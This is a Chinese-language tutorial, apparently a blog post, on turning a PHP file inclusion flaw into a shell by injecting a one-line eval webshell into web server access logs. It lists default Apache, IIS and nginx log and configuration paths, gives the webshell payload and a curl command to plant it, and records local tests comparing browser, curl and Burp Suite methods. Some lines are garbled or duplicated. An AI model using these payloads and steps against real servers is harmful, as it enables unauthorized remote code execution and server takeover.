一、包含日志文件漏洞利用概述
当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件。 利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。 这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell。其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可以按部就班的完成利用了。
二、漏洞利用条件
(1) 日志的物理存放路径
(2) 存在文件包含漏洞
(3) curl命令行url请求工具 或者 burpsuit代理;(避免url转码的存在)
(3) curl命令行url请求工具 或者 burpsuit代理;
三、 获取日志存放路径
一)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
二)web中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
四、实践测试记录 一) 工具准备 (1) curl 命令行url访问工具或者 (2) burpsuit 代理工具
二)使用浏览器直接构造一句话写入日志测试记录 (1)浏览器构造一句话报错 首先,我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中; 具体构造内容: http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?> (2)测试结果:失败 利用文件包含漏洞直接访问“服务日志文件”,发现文件包含漏洞并未对构造的php一句话进行正常解析,观察发现是构造的PHP一句话中的相关字符在记录进日志文件后,相关的字符被转码了,导致PHP解析失败,具体失败原因见“失败原因分析” (3)失败原因分析 一句话写入日志文件的利用过程是,利用浏览器直接构造一个关于请求资源的报错信息,次消息中包含依据。次报错信息服务自动记录到日志文件,但实际测试发现写入日志文件内的报错信息发生了字符转码: 日志文件内容如上图所示:http://127.0.0.1/php/1.php?%3C?php%20@eval($_POST[123]);?%3E "<" ----> 大于号被转码为了 %3C
">" ----> 小于号被转码为了 %3E
" " ----> 空格被转码为了 %20
最后写入到日志文件中的一句话就变成了 %3C?php%[email protected]($_POST[123]);?%3E。
(4) 失败总结
浏览器直接构造的PHP一句话中特殊字符,会被浏览器自动进行URL转义,导致最终写入日志文件中的PHP一句话包含了这些特殊字符,而这些转码后的编码PHP并不能进行正常的解析。
三)curl 构造一句话,写入日志文件测试记录
(1) curl 构造一句话写入服务日志文件 构造语句: D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"
curl构造一句话时,需要注意两点:
1)请求的资源对象,需要被双引号包含,不然会报错;
2) php一句话中的 综括号[ ]curl是特殊符号,需要进行转义 \[ \],不然curl使用时也会报错;
(2)测试结果:成功
(3) 成功原因
Curl 命令行url资源请求,没有像浏览器对特殊字符进行url的转码,所以原封不动的将请求报错的php一句话信息写入了服务日志文件中。随后我们利用文件包含漏洞正常包含解析了本地服务器的日志文件中夹带的“php一句话木马”;
四)burpsuit 代理抓包改包构造一句话写入日志文件
(1) burpsuit 代理抓包,修改浏览器转码字符,写入正确的php一句话木马到服务器日志文件。
(2) 测试记录:成功
通过文件包含直接访问服务日志文件,发现一句话被继续成功;
(3)成功原因
使用burpsuit修改了浏览器访问转码的字符,事情安装我们一句话原本的格式记录进日志文件,并能被php正常解析。